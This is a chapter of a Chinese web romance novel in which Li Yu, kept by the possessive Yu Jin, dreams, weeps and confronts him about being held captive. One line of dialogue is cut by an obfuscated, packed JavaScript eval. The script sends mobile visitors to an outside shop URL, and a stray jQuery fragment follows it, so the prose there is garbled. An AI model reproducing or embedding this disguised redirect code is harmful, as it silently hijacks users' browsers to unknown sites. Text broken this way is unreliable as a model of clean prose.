“哈——”李瑜猛得睁眼,大口大口地喘着气,等气喘匀了,才皱着眉紧闭上双眼,重新躺倒在床上。
“是梦啊……”
不得不说,这个梦做得足够诡异。李瑜把胳膊搭在额头上,转过头看了眼窗外——太阳有些落山了。
他起身打开房门,发现余槿正守在门外。
“哥哥!”见李瑜出来了,他连忙上前,“我……我刚才听你好像受了惊吓,怎么了吗?”
李瑜没想到他连这都听到了,就摇了摇头,“没什么。”
说着,就继续往客厅走。
客厅的茶几上有水壶和两人的水杯,当然,还有那几株山桃花。
他在拿起自己的杯子前,以为里面会是早已凉掉的茶水,可当手接触到杯壁时才发现这水是温的。
他不动声色地微微挑了挑眉,在外人看来可能只是眼部肌肉的变化。
但余槿能精准地捕捉到他的所有微表情。
“我……不知道哥哥什么时候出来……所以隔一段时间就往哥哥杯子里换温水。”
他说话小心翼翼,活像个受气的小太监。
李瑜轻咳了两声,最后还是小声地说了声谢谢。
余槿眉眼立刻弯了弯,上前站到李瑜身后,“这是我应该做的,哥哥能陪在我身边已经是我最大的幸运了,我来给哥哥捏捏肩吧。”说着,就抬手搭了上去。
余槿的手刚碰上李瑜的肩膀,李瑜就立马想到了刚才的梦,梦里的余槿也是这样站在自己身后,再贴上自己后背的……
他几乎是在被触碰到的那一秒就站了起来,用自己都没意识到厌恶的语气回应道,“不需要!”
余槿的手戛然而止,笑也滞在了脸上。
下意识的语气骗不了人,在余槿听来,自己是被嫌弃了,对方很是厌恶的嫌弃。
“哥哥?”
李瑜起身往门外走,边走还边说,“不要跟着我。”
李瑜拉开门就看到了门前的竹椅,还在那放着,没动。他经过椅子,来到塘后那栓秋千的两棵树下,摸了摸有些朽的秋千木板,坐了上去。
他坐在秋千上闭着眼,手却紧紧地攥着秋千绳。
太阳完全下山了——他自己都没意识到。
余槿在屋子里看着李瑜的背影,不敢向前,自己一个人做完晚饭才敢出来看他。
黑布靴踩着返潮的路面,余槿缓缓向他走来。
“哥哥我们回去吃饭吧……”余槿在李瑜侧身后两米远的位置站定,小心翼翼地询问。
李瑜睁开眼,一滴泪吧嗒一声摔在地上,在余槿这个角度刚好能看到。
“哥……哥?你哭了?”余槿快步上前,连语速都快了不少。
“别过来,”语气依旧是冷飕飕的,可尾音一听就带着哽咽。
脚步踟蹰了两秒就又继续往前,“不要,哥哥哭了。”
“我好得很。”
“哥,让我看看你的脸……”
余槿绕到李瑜的正前方,半蹲下身子,轻轻地用手捧起李瑜的下巴。
李瑜哭得有些晕,并没有多余的脑袋去思考依现在两人的关系该不该乖乖抬头。
“看……看什么?”李瑜被迫抬起头,眼里蓄满了泪花。
余槿的夜视很好,借着这微弱的一点暮光,他看到李瑜眼里的泪花格外晶莹剔透……
他的双眼紧盯着李瑜那泛红的双眼和微微翕合的唇瓣,唇瓣右下角的那颗黑痣在此时显得格外诱人。
余槿的面颊情不自禁地向李瑜贴近。嘴抿了又抿,几次欲言又止,最后憋出来一句,“哥哥,你怎么哭了?”
李瑜的夜视并不好,再加上眼里有眼泪挡视线,他看不清余槿的眼神。
“不可以哭吗?”这句话的语气绝对可以称得上软了。
不过这句话传到余槿耳朵里就变成了撒娇。
余槿的眼神立马亮了,他用大拇指摩挲着唇角的那颗小痣,温柔地回应,“嗯,可以哭,但我想知道哥哥为什么哭。”
李瑜没有说话,转而拿袖子去擦眼泪,余槿见状伸出手指也去拭泪。
“我想听。关于哥哥的一切我都想知道。”他吻了吻自己沾着泪的手指,看向李瑜的眼神充满了渴望。
李瑜揉干了眼泪,脑袋也清醒了不少,他看着余槿慢慢地说道,“为不值得的人流泪,我不想再次回忆。”
余槿眼里刚燃起来的火又慢慢灭了,他有些艰难地扯了扯嘴角,“这样啊,那我们就不想这些,先吃饭吧,饭菜要凉了。”
李瑜点头。
饭桌上,余槿一直在给李瑜夹菜盛汤,他笑起来依旧很乖,仿佛忘记了刚才的一切。
鲜香的鱼汤在嘴里泛滥,剔好鱼刺的鱼肉在舌尖化开,脆辣的绿色小菜、香糯的果肉、弹软的糯米糕饭全都被李瑜粉色的唇瓣吞吃。
李瑜吃饭的时候长而密的睫毛会灵动地扑闪,白皙的脸颊肉很柔软,有时会因吞吃食物而被微微顶出食物的轮廓,那张贪吃的小嘴总是闭着咀嚼。
他吃饭很乖。
余槿很喜欢看他吃饭。
饭后的碗筷是两人一起收拾的,并不累却抽干了李瑜最后一点力气。
他瘫坐在沙发上,看着那瓶子里的山桃花——蔫了。
他忽然觉得自己就是这被折回家的山桃花——就算被主人照顾得再好,迎接他的也只有枯萎。
余槿对他好不好?好,很好,非常好,简直体贴到不能再体贴了。
可对他越好,李瑜就越承受不了。
在李瑜的眼里,余槿是透过自己爱着另一个人。
那种被当作替代品的事实让他焦虑、内耗。
他和余槿说过,要离开这里,去李瑜的世界生活,结果换来了什么?
而他想离开这儿的念头在做完今天的梦之后又有些变了——外面的世界未必比这里好。
他哭,也只是在悲哀自己的未来,该何去何从啊?
余槿手上转刷着一只碟子,听客厅好久都没有动静,就从厨房探出身子,一眼就看到瘫坐在沙发上的李瑜。他叹了口气,把碟子放下后擦干手上的水渍,解下围裙就往客厅走去。
“哥哥是困了吗?我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690082|207886||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
马上就烧水给哥哥洗漱用。”
李瑜的眼睛一眨不眨,像是在发呆。
“哥哥?”余槿试探地喊道。
“余槿,”李瑜转头,看着他的眼睛,“你知道我为什么哭吗?”
余槿的嘴角不自觉地往下压了两下,回道,“我不知道,”
这是在心虚,李瑜自然是注意到了。
“心虚什么?”
李瑜伸出手,在余槿的衣角上捻了几下,脸上没有笑,就像是无聊之举。
“不知道吗?”
余槿笑得有些勉强,“嗯……哥哥不是说是因为不值得的人吗。”
“那你猜那个人是谁?”李瑜步步紧逼。
“我……”这句话本是犹豫,却被李瑜成功捕捉。
“没错,就是你。我受够了你对我的囚禁,你要把我养到枯死才肯善罢甘休吗?”
余槿怔愣地看着他,像是早有预料但那份受伤也是真的。
“不,”他说,“就算是枯死,我也会把你捧在手心。如果让你在树上开着,无人欣赏,那和烂在泥土里有什么区别?”
“烂在泥土里?”李瑜嗤笑,“你凭什么觉得我会喜欢这儿而不是泥里?说实话,你的强求在我看来无疑是用最卑劣的手段来骗取不属于你的东西。真是可悲,喜欢的是个死物呢,是这个世界上没有活物爱你了吗?”
“哥哥?”
余槿小心翼翼地擦干手上的水渍,刚一出来就看到李瑜在沙发上躺着,像是睡着了。
李瑜的眉微微皱着,看样子像做了不好的梦。脖颈软绵绵的躺在抱枕上,胸脯随呼吸微微起伏。余槿就这么看了许久才慢慢吞了吞喉结伸手抱他。
李瑜被抱起来的时候,鼻子很轻微地哼了一声,尾音黏糊糊的,像在撒娇。余槿被这声轻微的哼声打乱了呼吸节奏。
在余槿手里,李瑜腰肢的手感既有韧性又不失柔软。那是一个有着薄肌的细腰——手掌轻轻一托就能包住整个后腰。
后腰被余槿托着,李瑜的支力点就全在腰上,软绵绵的,像一滩水。余槿揉着手心的柔软,喃喃自语道,“哥哥,你的腰好细啊……”
把李瑜放到床上,余槿单手撑着下巴,仔细地端详着他的脸,“好美……”他把空闲的那只手伸出来,抚过李瑜的额前刘海、薄薄的眼皮、高挺的鼻梁、饱满的唇珠……
不得不承认,李瑜对他又着极强的吸引力,他总会对这张脸着迷——不论看多久都会。
余槿像着了魔,鬼使神差地探进了李瑜的衣领,还没摸到什么就戛然而止,慌慌张张地看了眼李瑜的锁骨就连忙往卫生间跑去。
不知过了多久,李瑜醒了。
按理说睡完午觉后,晚上应该不会困这么早的,但他还是困了——在沙发上都能睡着。睡就算了还附赠个噩梦。
想着刚才的梦,李瑜不由得笑话自己,“神经病,早晚成神经病。”
他又发了会呆才撑起身子下床,令他惊讶的是走廊上没有灯而卫生间的灯是亮着的。
“有人吗?”李瑜一边揉眼睛一边敲卫生间的门。